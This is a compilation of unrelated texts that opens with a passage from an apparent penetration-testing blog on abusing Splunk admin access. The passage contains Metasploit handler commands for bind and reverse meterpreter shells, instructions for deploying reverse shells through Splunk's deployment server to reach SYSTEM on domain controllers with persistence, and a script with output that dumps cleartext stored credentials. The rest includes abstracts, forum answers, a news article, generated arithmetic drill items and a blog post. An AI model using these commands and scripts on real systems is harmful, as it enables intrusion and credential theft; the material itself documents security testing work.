msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/bind_tcp msf exploit(handler) > set rhost 10.200.101.8 msf exploit(handler) > set lport 4447 lport => 4447 msf exploit(handler) > run [*] Starting the payload handler... [*] Started bind handler [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (958029 bytes) to <target_ip> [*] Meterpreter session 56 opened (20.0.200.11:34626 -> 15.220.1.34:4447) at 2016-04-16 07:31:48 -0700
If you instead deployed a reverse shell, such as the one in Tevora's pentest app: Reverse HTTPS Powershell Stager , we can start a meterpreter listener with ExitOnSession False and running as a job to collect shells as the various clients the script has been deployed to check in. Set the IPs and ports in the script to your listener IP and port (443 is a good choice) and enable the reverse script in inputs.conf. Run /opt/splunk/bin/splunk reload deploy-server to trigger the updates to the deployment app to be installed immediately.
Set up your reverse listener and run the exploit as a background job. Enjoy the multiple shells across the enterprise checking in. Often times we see 100's of shells open. These shells will automatically reconnect if disconnected as long as the splunk app remains deployed, adding some built in persistence.
Metasploit Reverse HTTPS Handler
use exploit/multi/handler set payload windows/meterpreter/reverse_https set ExitOnSession false set LHOST 10.0.1.111 set LPORT 443 exploit -j -z
Run sessions to view all the shells that have connected and sessions -i <shell_num> to interact with any of the meterpreter sessions. Consider writing an autorun script to run mimikatz, winenum, or other post-exploitation meterpreter commands to automate data ex-filtration or credential collection. https://community.rapid7.com/thread/2877.
msf exploit(handler) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 54 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ LAB-DC1 13.0.120.91:8443 -> 16.2.10.2:64471 (10.200.101.8) 55 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ LAB-DC2 13.0.120.91:8443 -> 16.2.10.4:58396 (10.0.101.8)
In our lab example we have gone from a non-privileged domain user with Splunk admin access, to NT Authority\SYSTEM on both lab domain controllers! Not a bad priv esc. Additionally, we can leverage the reverse shell deployments to gain access to isolated network locations with no inbound ports open to our attacking workstation.
Obtaining Passwords stored in Splunk apps
In addition to obtaining code execution, we can leverage our Splunk access to decrypt and view encrypted credentials stored by other Splunk applications. Splunk applications may store credentials to access APIs, perform LDAP binds, or even administrate network devices (http://pansplunk.readthedocs.org/en/latest/getting_started.html#step-2-initial-setup)
Splunk keeps these passwords encrypted in password.conf config files. The encryption key is stored in on the Splunk server in the system/local directory. Splunk offers a programmatic way to set and recieve these passwords, allowing us to access and decrypt the passwords for every app once we gain admin acess. The script below for obtaining all the app passwords is based on the documentation here http://blogs.splunk.com/2011/03/15/storing-encrypted-credentials/
Splunk Password Hunter Script
import splunk.entity as entity import splunk.auth, splunk.search import getpass def huntPasswords(sessionKey): entities = entity.getEntities( ['admin','passwords'],owner="nobody", namespace="-",sessionKey=sessionKey) return entities def getSessionKeyFromCreds(): user = raw_input("Username:") password = getpass.getpass() sessionKey = splunk.auth.getSessionKey(user,password) return sessionKey if __name__ == "__main__": sessionKey = getSessionKeyFromCreds() print huntPasswords(sessionKey)
To run this script, we need to use Splunk's instance of Python to gain access to the splunk python modules. Splunk lets us do this through the CLI. Call the python script through Splunk as shown below
root@splunk:/opt/splunk/etc/apps/pentest/bin# /opt/splunk/bin/splunk cmd python hunt_passwords.py Username:kdick Password: {':network_admin:': '{'encr_password': '$1$tbanQPKSb5FvONk=', 'password': '********', 'clear_password': '3l337Admin', 'realm': None, 'eai:acl': {'sharing': 'app', 'perms': {'read': ['*'], 'write': ['admin', 'power']}, 'can_share_app': '1', 'can_list': '1', 'modifiable': '1', 'owner': 'kdick', 'can_write': '1', 'app': 'SplunkforPaloAltoNetworks', 'can_change_perms': '1', 'removable': '1', 'can_share_global': '1', 'can_share_user': '1'}, 'username': 'network_admin'}', ':wildfire_api_key:': '{'encr_password': '$1$8rL9AKO6eZlvJevcGBrK', 'password': '********', 'clear_password': 'thisfireiswild', 'realm': None, 'eai:acl': {'sharing': 'app', 'perms': {'read': ['*'], 'write': ['admin', 'power']}, 'can_share_app': '1', 'can_list': '1', 'modifiable': '1', 'owner': 'kdick', 'can_write': '1', 'app': 'SplunkforPaloAltoNetworks', 'can_change_perms': '1', 'removable': '1', 'can_share_global': '1', 'can_share_user': '1'}, 'username': 'wildfire_api_key'}', 'SA-ldapsearch:default:': '{'encr_password': '$1$54TdUPLqWZZtEdjjNQ==', 'password': '********', 'clear_password': 'ajsdghajksg', 'realm': 'SA-ldapsearch', 'eai:acl': {'sharing': 'global', 'perms': {'read': ['*'], 'write': ['admin']}, 'can_share_app': '1', 'can_list': '1', 'modifiable': '1', 'owner': 'kdick', 'can_write': '1', 'app': 'SA-ldapsearch', 'can_change_perms': '1', 'removable': '1', 'can_share_global': '1', 'can_share_user': '1'}, 'username': 'default'}', 'SA-ldapsearch:tevoralab.com:': '{'encr_password': '$1$5KjGPLSNOb9MfKuHNQ==', 'password': '********', 'clear_password': 'ajsdghajksg', 'realm': 'SA-ldapsearch', 'eai:acl': {'sharing': 'global', 'perms': {'read': ['*'], 'write': ['admin']}, 'can_share_app': '1', 'can_list': '1', 'modifiable': '1', 'owner': 'kdick', 'can_write': '1', 'app': 'SA-ldapsearch', 'can_change_perms': '1', 'removable': '1', 'can_share_global': '1', 'can_share_user': '1'}, 'username': 'tevoralab.com'}'} root@splunk:/opt/splunk/etc/apps/pentest/bin#
Looks not only did we get an AD user used for LDAP bind, but also admin credentials to the PaloAlto firewall. These creds could come in very handy on a pentest.
Conclusion
As you can see, Splunk is a powerful tool that can be leveraged by attackers with far reaching consequences. In many cases, admin access to Splunk can be escalated to admin access on the Windows domain and other monitored systems. Protecting Splunk from unauthorized access is therefore critical. How many contractors have you had or do you currently have with admin access to Splunk? How about internal users? Are they using strong passwords? Ensure that admin access to Splunk is heavily restricted and strong passwords are enforced. Also, avoid running Universal Forwarders as root, see: https://answers.splunk.com/answers/93998/running-universal-forwarder-with-non-administrator-service-account.html.
This concludes part 1 of the Penetration Testing with Splunk series. If you have already taken a look at the Splunk pentest app on GitHub, you probably realize this process can be streamlined and many more points of code execution are possible. Stay tuned for part 2 where we will explore creating rest APIs and front end interfaces that allow for a simple web shell and results of password decryption to be included in the GUI. Also, we will talk about how setup scripts can be used to harbor malicious code and the possibility of using all the techniques we discussed to backdoor applications.
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{
"pile_set_name": "OpenWebText2"
}
|
Let Us Host Your Content for You!
We want to make your learner experience as easy as possible. Our powerful Learning management system (LMS) can host your content and, build a brand around it while making it easy to create certificates and gather analytics.
Learning Management, Made Easy.
We created content that is aligned to help your company grow through an appropriate combination of education, marketing and sales tools. Now what?
The next step is to put that content in an LMS so your targeted audience can experience it. Furthermore, you can see how that content is doing by running a number of different reports with the analytical tools included within the LMS.
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{
"pile_set_name": "Pile-CC"
}
|
Buzz
Original fries among the best in the US says CNN
Related Tags
Original Hot Dog Shop. At this family-run stalwart, the mountain of fries that comes in even a small order borders on the ridiculous -- so no wonder the college kids keep coming back. Located on the campus of the University of Pittsburgh, "The Dirty O" has a reputation for decadent spuds: hand-cut and peeled Idaho potatoes, twice fried in peanut oil, and served golden and crunchy on a cafeteria tray. The Original even has its own dedicated fry station, where you can order them with sides of gravy, cheese, or ketchup. 3901 Forbes Ave.
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{
"pile_set_name": "Pile-CC"
}
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23822 is divided by 2165?
7
Calculate the remainder when 76827 is divided by 605.
597
Calculate the remainder when 4051 is divided by 403.
21
What is the remainder when 1118 is divided by 38?
16
What is the remainder when 464263 is divided by 22?
19
What is the remainder when 452 is divided by 27?
20
Calculate the remainder when 226371 is divided by 45274.
1
Calculate the remainder when 381 is divided by 20.
1
What is the remainder when 161565 is divided by 748?
745
What is the remainder when 11689 is divided by 1788?
961
Calculate the remainder when 39981 is divided by 357.
354
Calculate the remainder when 553 is divided by 14.
7
Calculate the remainder when 53746 is divided by 111.
22
What is the remainder when 15948 is divided by 2276?
16
Calculate the remainder when 2764463 is divided by 645.
638
What is the remainder when 21321 is divided by 2131?
11
What is the remainder when 1726 is divided by 279?
52
What is the remainder when 25127 is divided by 2511?
17
What is the remainder when 5501 is divided by 166?
23
Calculate the remainder when 24699 is divided by 1452.
15
Calculate the remainder when 555448 is divided by 210.
208
What is the remainder when 92846 is divided by 55?
6
What is the remainder when 2972 is divided by 97?
62
What is the remainder when 1688 is divided by 473?
269
Calculate the remainder when 38738 is divided by 28.
14
What is the remainder when 6329 is divided by 183?
107
What is the remainder when 91977 is divided by 8?
1
What is the remainder when 10085 is divided by 478?
47
Calculate the remainder when 5229 is divided by 2614.
1
What is the remainder when 2602 is divided by 861?
19
What is the remainder when 55163 is divided by 30?
23
What is the remainder when 372 is divided by 46?
4
Calculate the remainder when 3573 is divided by 487.
164
What is the remainder when 1605502 is divided by 148?
146
Calculate the remainder when 28016 is divided by 171.
143
What is the remainder when 368796 is divided by 126?
120
What is the remainder when 30244 is divided by 115?
114
What is the remainder when 6778 is divided by 211?
26
What is the remainder when 682311 is divided by 58?
57
Calculate the remainder when 20774 is divided by 38.
26
What is the remainder when 129422 is divided by 43120?
62
Calculate the remainder when 23586 is divided by 23583.
3
Calculate the remainder when 313948 is divided by 75.
73
What is the remainder when 173911 is divided by 28983?
13
What is the remainder when 971 is divided by 344?
283
Calculate the remainder when 209790 is divided by 16.
14
Calculate the remainder when 405548 is divided by 357.
353
Calculate the remainder when 573154 is divided by 348.
346
What is the remainder when 96945 is divided by 48460?
25
Calculate the remainder when 221584 is divided by 455.
454
Calculate the remainder when 30471 is divided by 194.
13
What is the remainder when 102611 is divided by 25634?
75
What is the remainder when 12410 is divided by 2480?
10
Calculate the remainder when 34931 is divided by 2328.
11
Calculate the remainder when 147229 is divided by 49068.
25
Calculate the remainder when 3229686 is divided by 308.
306
What is the remainder when 11157 is divided by 30?
27
What is the remainder when 130386 is divided by 17?
13
Calculate the remainder when 8814 is divided by 2151.
210
Calculate the remainder when 625183 is divided by 135.
133
What is the remainder when 694 is divided by 61?
23
What is the remainder when 11657 is divided by 375?
32
What is the remainder when 3665 is divided by 9?
2
What is the remainder when 70395 is divided by 64?
59
What is the remainder when 27749 is divided by 375?
374
Calculate the remainder when 33085 is divided by 119.
3
What is the remainder when 2243 is divided by 94?
81
What is the remainder when 453559 is divided by 58?
57
Calculate the remainder when 124516 is divided by 316.
12
What is the remainder when 10208 is divided by 173?
1
What is the remainder when 2772 is divided by 121?
110
What is the remainder when 5012 is divided by 422?
370
What is the remainder when 6847 is divided by 95?
7
What is the remainder when 4439 is divided by 7?
1
What is the remainder when 110383 is divided by 386?
373
What is the remainder when 5111 is divided by 465?
461
Calculate the remainder when 2752 is divided by 79.
66
Calculate the remainder when 851303 is divided by 158.
157
Calculate the remainder when 15259 is divided by 1364.
255
Calculate the remainder when 12723 is divided by 28.
11
Calculate the remainder when 5332 is divided by 20.
12
What is the remainder when 492 is divided by 433?
59
What is the remainder when 24748 is divided by 603?
25
Calculate the remainder when 2528 is divided by 470.
178
Calculate the remainder when 169100 is divided by 114.
38
Calculate the remainder when 66127 is divided by 219.
208
Calculate the remainder when 124246 is divided by 702.
694
What is the remainder when 13740 is divided by 8?
4
Calculate the remainder when 64525 is divided by 296.
293
Calculate the remainder when 6318 is divided by 172.
126
What is the remainder when 439660 is divided by 8?
4
What is the remainder when 2772 is divided by 75?
72
What is the remainder when 8474 is divided by 2793?
95
Calculate the remainder when 4556 is divided by 2256.
44
Calculate the remainder when 72167 is divided by 582.
581
What is the remainder when 12757 is divided by 3186?
13
Calculate the remainder when 48555 is divided by 24148.
259
What is the remainder when 96229 is divided by 12020?
69
What is the remainder when 28726 is divided by 10?
6
Calculate the remainder when 54 is divided by 47.
7
Calculate the remainder when 654 is divided by 43.
9
Calculate the remainder when 8515 is divided by 341.
331
Calculate the remainder when 4024 is divided by 62.
56
What is the remainder when 720 is divided by 85?
40
Calculate the remainder when 182813 is divided by 93.
68
Calculate the remainder when 9114 is divided by 4440.
234
Calculate the remainder when 9849 is divided by 56.
49
What is the remainder when 209463 is divided by 258?
225
What is the remainder when 172793 is divided by 186?
185
Calculate the remainder when 26219 is divided by 23.
22
What is the remainder when 120681 is divided by 419?
9
What is the remainder when 1162 is divided by 109?
72
Calculate the remainder when 357355 is divided by 215.
25
Calculate the remainder when 1802 is divided by 311.
247
What is the remainder when 9609 is divided by 464?
329
Calculate the remainder when 1309557 is divided by 210.
207
What is the remainder when 384 is divided by 360?
24
What is the remainder when 5837 is divided by 48?
29
What is the remainder when 9812 is divided by 617?
557
What is the remainder when 8051 is divided by 6267?
1784
Calculate the remainder when 116971 is divided by 6.
1
Calculate the remainder when 4033 is divided by 575.
8
What is the remainder when 13020 is divided by 148?
144
What is the remainder when 17644 is divided by 34?
32
Calculate the remainder when 11660 is divided by 307.
301
Calculate the remainder when 8486 is divided by 1060.
6
Calculate the remainder when 61766 is divided by 142.
138
What is the remainder when 460 is divided by 149?
13
What is the remainder when 2051 is divided by 271?
154
Calculate the remainder when 358679 is divided by 228.
35
Calculate the remainder when 156207 is divided by 275.
7
What is the remainder when 70285 is divided by 221?
7
What is the remainder when 1999436 is divided by 238?
236
What is the remainder when 2203 is divided by 2167?
36
Calculate the remainder when 136207 is divided by 31.
24
Calculate the remainder when 94 is divided by 89.
5
What is the remainder when 4369 is divided by 210?
169
Calculate the remainder when 3435 is divided by 48.
27
What is the remainder when 54585 is divided by 14?
13
Calculate the remainder when 174302 is divided by 2100.
2
Calculate the remainder when 29328 is divided by 341.
2
Calculate the remainder when 190773 is divided by 23841.
45
Calculate the remainder when 11168 is divided by 414.
404
What is the remainder when 2240 is divided by 1852?
388
Calculate the remainder when 11387 is divided by 550.
387
What is the remainder when 168854 is divided by 168826?
28
What is the remainder when 2424 is divided by 2387?
37
What i
|
{
"pile_set_name": "DM Mathematics"
}
|
Colocalization of galanin and prolactin within secretory granules of anterior pituitary cells in estrogen-treated Fischer 344 rats.
Galanin is localized within specific cell types of the rat anterior pituitary gland (AP). Immunocytochemical studies at the light microscope level have shown that lactotrophs, somatotrophs, and thyrotrophs contain galanin in the intact female rat, whereas lactotrophs in the male AP do not. We recently reported that galanin and PRL release from estrogen-treated male and female pituitary cells in culture are coregulated by dopamine, TRH, and somatostatin. This suggested that galanin is stored within secretory granules, conceivably with PRL. Using postembedding immunocytochemistry at the ultrastructural level, the objectives of this study were to: 1) determine the subcellular location of galanin in the AP; 2) elucidate if galanin and PRL are colocalized within the same secretory granules; and 3) compare the cellular localization of galanin in the male and female AP. Male and ovariectomized female (OVEX) Fischer 344 rats were implanted with estradiol-containing or empty Silastic capsules for 2 weeks. Postembedding immunogold labeling was performed using rabbit (for galanin) and guinea pig (for PRL) generated antisera. Two different sizes of colloidal gold spheres were used to localize the hormones in the same tissue section. Galanin was primarily localized in secretory granules of adenohypophyseal cells. Based upon immunocytochemical results and morphological criteria, galanin was contained in somatotrophs but not lactotrophs in the male and OVEX AP. The AP of estrogen-treated rats contained more specific immunogold labeling for galanin than untreated rats. The increased immunoreactivity for galanin was notably associated with lactotrophs. After exposure to estrogen, galanin and PRL were colocalized within the same secretory granules of the male and OVEX pituitary cells. We conclude: 1) galanin is localized within secretory granules of the rat AP; 2) galanin and PRL are colocalized within secretory granules of the male and OVEX AP after estrogen treatment; and 3) galanin is localized in similar cell types in the male and OVEX AP, before and after estrogen treatment. These data provide a morphological basis for the coregulation of galanin and PRL secretion by hypothalamic factors.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
Databinding phenomenon in WPF (binding to a FrameworkElement) - any ideas why?
In an application of mine (this has to do with very dynamic navigation and content presentation) I have to use this construct in XAML:
<ContentControl Content={Binding ContentElement} />
So far, so good. This is great, absolutely great. I can host arbitrary stuff all over the place.
But there seems to be a strange, well, lets call it "phenomenon" in WPF (I believe it is in the BindingMarkupExtension, but not sure yet):
When my ContentElement property looks like this:
public FrameworkElement ContentElement
{
get
{
return this.m_ContentElement;
}
}
then the getter gets called TWICE (!!!) for each databinding operation (this includes when the user changes the language on the fly or reloads the hosting control).
However (and this is what is REALLY mind boggling for me):
When I change my ContentElement property to:
public object ContentElement
{
get
{
return this.m_ContentElement;
}
}
then the getter gets called once. Seriously, I'm not lying here. It is absolutely reproducible in the simplest applications, you can try for example by returning a new "TextBlock" (thats what I usually do to test or learn about more advanced WPF concepts).
Any ideas why?
The reason why I ask is that I hate the following consequences of the solution:
I lose type safety at this point
This may be a bit hard to explain to new developers or overly sceptical wisecracks
A:
I was able to reproduce it for .NET 4.0 but it is not reproducible for the same application when you set .NET 3.5 framework in the preferences of project. In the case of .NET 4.0 - there are 2 calls for the getter if its type is FrameworkElement. But internal stacks are different. So it's definitely because of some internals of WPF 4.0. And well.. its quite hard to figure out why and how it works in this way. If time permits someone could investigate WPF internals with Reflector but I believe it's snowball's chance in hell :)
|
{
"pile_set_name": "StackExchange"
}
|
Forecasters say the partial government shutdown comes at a bad time. It's happening at a time when researchers and scientists work to tweak and upgrade the models that are used to project the storms.
Though hurricane season runs from June through November, it is during the “off-season” when forecasters and researchers refine and improve their forecasting models, methods and techniques, allowing forecasters to enhance the accuracy of storm predictions.
With the partial government shutdown in its third week, and no end in sight, much of the research and development the National Hurricane Center relies on to improve hurricane forecasts is in jeopardy, along with badly needed upgrades to the main American weather model.
“It’s a tight schedule,” Eric Blake, a hurricane specialist with the National Hurricane Center (NHC) told CNN, “we try to fit in as many improvements as possible before the next hurricane season.”
While there is no good time for a government shutdown to bring the work of so many federal workers to a halt, according to Blake, “it is much worse for this to happen during the off-season.” Blake is the NHC’s Union Steward to the National Weather Service’s Employee Organization and spoke to CNN on its behalf.
During the hurricane season, the forecasters, which are working during the shutdown, would be doing their mission-critical work forecasting active storms in the Atlantic and Eastern Pacific Oceans. Because of this, research and development is frozen during the hurricane season.
From December through early May, however, the center’s forecasters work with researchers and scientists at other governmental agencies to tweak and upgrade the models that are used to project the storms — and many of these workers are currently furloughed.
One of these agencies is the Environmental Modeling Center (EMC), which, like the NHC, is part of the National Oceanic and Atmospheric Administration’s (NOAA) National Center for Environmental Prediction (NCEP).
The EMC develops and improves weather and climate predictions through numerical models, and right now should be working with Blake and other hurricane forecasters to make adjustments to the models based upon new research and lessons learned from the previous hurricane season.
And considering the forecast challenges presented by Hurricane Florence and Hurricane Michael last year, these months are critical to improving the forecast models and implementing new research and techniques.
But of the 200 people that work on these and other NOAA forecast models at the EMC, and their various government contractors, only one of them is currently working through the shutdown. The other 199 are deemed “non-critical” and are furloughed, unable to access their computers to even check on the progress of their models until the government shutdown ends.
According to Suru Saha, one of the furloughed computer modelers at the EMC, the longer the shutdown goes on, the less prepared we will be when the next hurricane season begins.
“This is lost time that cannot be made up,” Saha told CNN. Saha also serves as the center’s union steward to the NWS Employee Organization. “It’s gone and it will effect future operations.”
But it isn’t just hurricane model upgrades that are being neglected during the partial government shutdown.
The EMC oversees NCEP’s entire suite of global forecast models, including the Global Forecast System model, or GFS model, which is often referred to as the “American model,” and is used to forecast everything from nor’easters to tornado outbreaks.
The American model has come under fire in recent years after falling notably behind the European’s model, the European Center for Medium-Range Weather Forecasts model, in high profile events such as Hurricane Sandy.
But the GFS was due to get a significant makeover over the next month, known as the FV3 upgrade.
The update promises to better utilize advances in computing technology and data processing to “deliver better, more timely forecasts to serve the growing needs of our forecasters and the weather enterprise,” according to NOAA’s website.
“We’re banking on it to do great things,” Saha told CNN of the upgraded GFS-FV3, “every system we have have is dependent on the quality of the GFS forecast.”
“But all of that is on hold,” she said. “I don’t see that happening in February.” NOAA confirmed to CNN that these upgrades are likely to be delayed due to the shutdown.
“There are improvements scheduled in the next upgrade window that may be delayed due to the shutdown,” a NOAA spokesperson said, though no time table was given as to how long that delay might be once the shutdown has ended.
In addition to delays in upgrades, there have been concerns that the shutdown could be resulting in a degradation of the current American GFS model, and thus the forecasts millions of people receive through apps and other forecast systems that rely upon the model’s data.
But the NOAA spokesperson pushed back on these reports, claiming that “the accuracy of the nation’s forecast model is maintained to the same standards as normal … and the resources [the forecasters] need to perform essential operations are being provided.”
But even if the forecast models are maintained during the shutdown, it is clear they are not getting better. And that could mean the forecast for a major hurricane in September or October of this year isn’t as good as it could be.
The National Hurricane Center has reduced their average forecast track error for tropical systems in the Atlantic from 220 miles to 70 miles since the year 2000, with almost steady improvement year over year. But Blake is afraid that same improvement won’t be possible this year.
“It’s going to be more status quo next year,” Blake said, referring to the lack of research and development and new initiatives that the shutdown is causing.
And the shutdown threatens to reduce our country’s preparedness for hurricanes in other ways beyond just the forecast.
The National Hurricane Center is set to host a series of meetings over the next several weeks with FEMA for emergency managers and key decision makers along the Gulf Coast and East Coast, that Blake said are designed to familiarize them with important products and services so they can make the best informed decision for their regions.
“If the shutdown continues and we have to cancel the meetings with FEMA, then that will hurt America’s hurricane readiness,” Blake said, which could potentially place American lives and property at risk.
|
{
"pile_set_name": "OpenWebText2"
}
|
{#sp1 .160}
|
{
"pile_set_name": "PubMed Central"
}
|
Clustering asian and north african countries according to trend of colon and rectum cancer mortality rates: an application of growth mixture models.
Colorectal cancer is the second most common cause of cancer death with half a million deaths per year. Incidence and mortality rates have demonstrated notable changes in Asian and African countries during the last few decades. In this study, we first aimed to determine the trend of colorectal cancer mortality rate in each Institute for Health Metrics and Evaluation (IHME) region, and then re-classify them to find more homogenous classes. Our study population consisted of 52 countries of Asia and North Africa in six IHME pre-defined regions for both genders and age-standardized groups from 1990 to 2010.We first applied simple growth models for pre-defined IHME regions to estimate the intercepts and slopes of mortality rate trends. Then, we clustered the 52 described countries using the latent growth mixture modeling approach for classifying them based on their colorectal mortality rates over time. Statistical analysis revealed that males and people in high income Asia pacific and East Asia countries were at greater risk of death from colon and rectum cancer. In addition, South Asia region had the lowest rates of mortality due to this cancer. Simple growth modeling showed that majority of IHME regions had decreasing trend in mortality rate of colorectal cancer. However, re-classification these countries based on their mortality trend using the latent growth mixture model resulted in more homogeneous classes according to colorectal mortality trend. In general, our statistical analyses showed that most Asian and North African countries had upward trend in their colorectal cancer mortality. We therefore urge the health policy makers in these countries to evaluate the causes of growing mortality and study the interventional programs of successful countries in managing the consequences of this cancer.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Q:
ASIHTTPRequest - Setting to ignore cache/proxy
I am using ASIHTTPRequest and pulling content from our server which has Squid cache on it. It seems that ASIHTTPRequest is not getting the newest content version.
How can I tell it to ignore the cache so that I can get the newest version? Or is there a better way to do this?
The following is what I am using:
ASIHTTPRequest *request = [ASIHTTPRequest requestWithURL:serviceUrl];
[request setDownloadCache:[ASIDownloadCache sharedCache]];
[request setCachePolicy:ASIAskServerIfModifiedCachePolicy|ASIFallbackToCacheIfLoadFailsCachePolicy];
[request setCacheStoragePolicy:ASICachePermanentlyCacheStoragePolicy];
[request setTimeOutSeconds:50.0];
[request addRequestHeader:@"CacheControl" value:@"no-cache"];
[request startSynchronous];
A:
It looks like the Header should be:
CacheControl: reload
That should tell squid to fetch the request from the server, but that depends on the configuration of the squid server. Maybe this feature is disabled ?
Can you do a forced reload in a browser ?
I think no-cache just means that the server should not update it's cache.
|
{
"pile_set_name": "StackExchange"
}
|
El Yacine Derradj
Yacine Derradj (born December 20, 1980 in khelil, Bordj Bou Arréridj Province) is an Algerian footballer. He currently plays as a forward for CA Bordj Bou Arréridj in the Algerian Championnat National.
Club career
1997-2001 CA Bordj Bou Arréridj
2001-2004 USM Sétif
2004-2007 ES Sétif
2007-2008 USM Annaba
2008-pres. CA Bordj Bou Arréridj
Honours
Won the Algerian League once with ES Sétif in 2007
Won the Arab Champions League once with ES Sétif in 2007
Won the Algerian Second Division Championship twice with CA Bordj Bou Arréridj in 1998 and 2001
References
Category:1980 births
Category:Living people
Category:People from Aïn Taghrout
Category:Algerian footballers
Category:CA Bordj Bou Arreridj players
Category:USM Annaba players
Category:ES Sétif players
Category:USM Sétif players
Category:Association football forwards
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{
"pile_set_name": "Wikipedia (en)"
}
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The broad long-term goals of this project are to develop more powerful proteomics detection technology with greatly improved sensitivity, that will reveal the global patterns of biologically stimulated changes (differential detection) in protein levels, posttranslational modifications and enzyme activities simultaneously (using 6-12 channel multicolor fluorescent dye (Zdye) detection), develop ways to use the patterns of protein isoform levels to recognize changing physiological states, and to more efficiently target and obtain the variable proteins for detailed mass spectral analysis. The specific aims and research design of the present proposal are to: (1) scale up the synthesis of amino-reactive Zdye and Z2dyes that were developed and shown feasible during the current Phase I proposal; (2) prepare and test highly water soluble Zdye saturation labels that react with protein thiols to avoid precipitation of labeled proteins (which is a problem with available thiol saturation labels for 2D gel detection), to facilitate spot picking or targeted electroelution of the proteins of each type in the saturation-labeled spots of interest, and to provide additional differential detection sensitivity, compared to Zdye amino labels (>30x total sensitivity increase compared to currently available amino labels for multicolor 2D gel detection); (3) develop and test cleavable thiol-reactive Zdyes that leave small isotopic tags behind after cleavage, which will allow quantitative mass spectral analysis of the relative amounts of each protein of interest, even when two or more proteins are present in the gel spots targeted, and demonstrate fluorescence enhanced targeted-SILAC (stable isotope labeling with amino acids in cell culture) to pin-point proteins for mass spectral analysis-- resulting in more efficient FET-SILAC experiments; (4) develop and test several new Zdyes colors for expanded multi-channel multiplexing, to enable single gel studies of global changes accompanying, for example, multi-point dose-response curves, multipoint kinetic curves, and simultaneous, global comparisons of several parallel samples; and (5) develop and test new dye chromophore frameworks for the Zdye and the Z2Dye designs that will be substantially easier and cheaper to produce, provide more affordable products to the end-user, may be feasible to use in 1D gel applications, and will embody the same design concepts proved feasible in the first or second generation Zdyes. This project has strong health-relatedness, since a large fraction of proteins and protein posttranslationally modified isoforms are not reliably detectable with current proteomics technology. Protein posttranslational modifications are at the heart of most biological mechanisms, since PTMs control protein activity, subcellular localization and protein-protein interactions. [unreadable] [unreadable] PUBLIC HEALTH RELEVANCE: Cellular mechanisms controlling health and disease depend primarily on proteins and a wide variety of modifications of proteins to regulate cellular activities, but current proteomics technology remains inadequate to visualize all the protein forms present and to determine all the forms that change during biological responses. This Phase II STTR proposal builds on the successful foundation of Phase I to synthesize and demonstrate a new family of different-colored, highly water soluble fluorescent dyes (Zdyes) that take greatly expanded advantage of the unique ability of multiplexed 2D gels to reveal global changes in the relative amounts of proteins and modifications of proteins. The greatly improved sensitivity and simultaneous comparison of a larger number of sample conditions, provided by the Zdye technology, will reveal the changes in the patterns of protein species that occur down to the limit of single protein copies per cell, to more clearly expose the inner workings of biological mechanisms. [unreadable] [unreadable] [unreadable]
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{
"pile_set_name": "NIH ExPorter"
}
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Main menu
Post navigation
Our Week In Pictures
Wednesday was warm and after swimming lessons (where we met grandma) we headed up to town and spent some at at the beach. The water is still quite cold, but the kids (big and little) had fun for a couple of hours. 🙂
More fun! The yellow stuff in the water is pollin.
😀
On Friday we met Grandma in town for the kids yearly pictures, then they went with her while Aaron and I went on an over night date. We started with grabing lunch, then went up to Arbor crest for a wine tasting.
I got a groupon for wine tasting for two and two bottles of wine. It was fun, and informative.
The view was lovely.
As were the grounds.
😀
After the wine tasting we went to the mall and watched Iron Man 3 and window shopped. 🙂 Then we checked into our hotel and had dinner and stopped at this coffee shop for dessert.
The two story indoor courtyard looking out from our room. While the hotel was lovely and had a neat history, the staff made mistake after mistake. All in all… We had a nice time, it was good to just be us.
Thursday we made new copy work books and Flora was SO happy she got to make one as well. Here is her first page of writing a verse. She was in tears (happy ones) when she was done! 🙂
Post navigation
Our Family
We were all getting cold, but I love this one.
"I believe the nicest and sweetest days are not those on which anything very splendid or wonderful or exciting happens, but just those that bring simple little pleasures, following one another softly, like pearls slipping off a string."
— L.M. Montgomery
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{
"pile_set_name": "Pile-CC"
}
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Q:
Good or Bad? Bring "Function Chaining" Capabilities to PHP
So I was thinking one way that you can bring method chaining into PHP with the built-in global functions would be to "borrow" the |> (pipe) operator from F#. It would pipe the results on the left into the first parameter of the function on the right. Of course PHP would have to revisit the parameter order of some of their functions.
This would allow you to write:
function StrManip($val) {
return str_repeat(strtolower(trim($val)),2);
}
Like this:
function StrManip($val) {
return $val |> trim() |> strtolower() |> str_repeat(2);
}
A:
It looks like what he wants is a String class with methods that mirror the builtin functions. This is a guess, but maybe you could use the __call magic method to do the work like this:
(untested)
class String {
private $_value = '';
public function __construct($value) {
$_value = $value;
}
public function __call ($name, $arguments) {
return new String($name($_value, $arguments));
}
}
$string = new String($string);
echo $string->trim()->strtolower()->str_repeat(2);
You would have to do some parsing to get the $arguments part to work, and it would create a lot of objects when you chain the methods, but in theory this should get you some functionality you are looking for.
A:
Something much like that can be accomplished using fluent object methods. For example:
class Foo
{
public function bar()
{
echo 'Hello<br/>';
return $this;
}
public function bar2()
{
echo 'Goodbye<br/>';
return $this;
}
}
$foo = new Foo();
$foo->bar()->bar2();
Outputs the following:
Hello
Goodbye
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{
"pile_set_name": "StackExchange"
}
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Preventing HIV transmission through antiretroviral treatment-mediated virologic suppression: aspects of an emerging scientific agenda.
This review describes important aspects of the research agenda that have emerged as a result of the recent findings of the HIV transmission study in sero-discordant couples conducted by the National Institute of Allergy and Infectious Disease (NIAID)-supported HIV Prevention Trials Network (HPTN) and referred to as HPTN 052. The HPTN 052 study provided strong evidence that antiretroviral treatment (ART), given to HIV-infected partners with the purpose of achieving and maintaining full virologic suppression, could prevent linked HIV transmission in sero-discordant couples. These findings have implications in all future combination prevention strategies. The HPTN 052 study demonstrated that sustained virus suppression, below detectable levels, can prevent HIV transmission in sero-discordant couples. As a result of this study, we have now identified ART as a key component for all combination prevention strategies. Additionally, this study demonstrates that HIV testing is the single door of entry for individualized HIV treatment and prevention. The challenge now is to create a robust, seamless linkage and retention system so that the vision of HIV treatment as prevention can be realized. Such a system will maximize both the treatment and the prevention benefits of ART. The research agenda outlined here describes the need to extend this finding to areas of implementation science, such as the development of simpler, easier to use point-of-care assays for virus load, and improved, better tolerated, more durable combinations and formulations of antiretroviral drugs.
|
{
"pile_set_name": "PubMed Abstracts"
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|
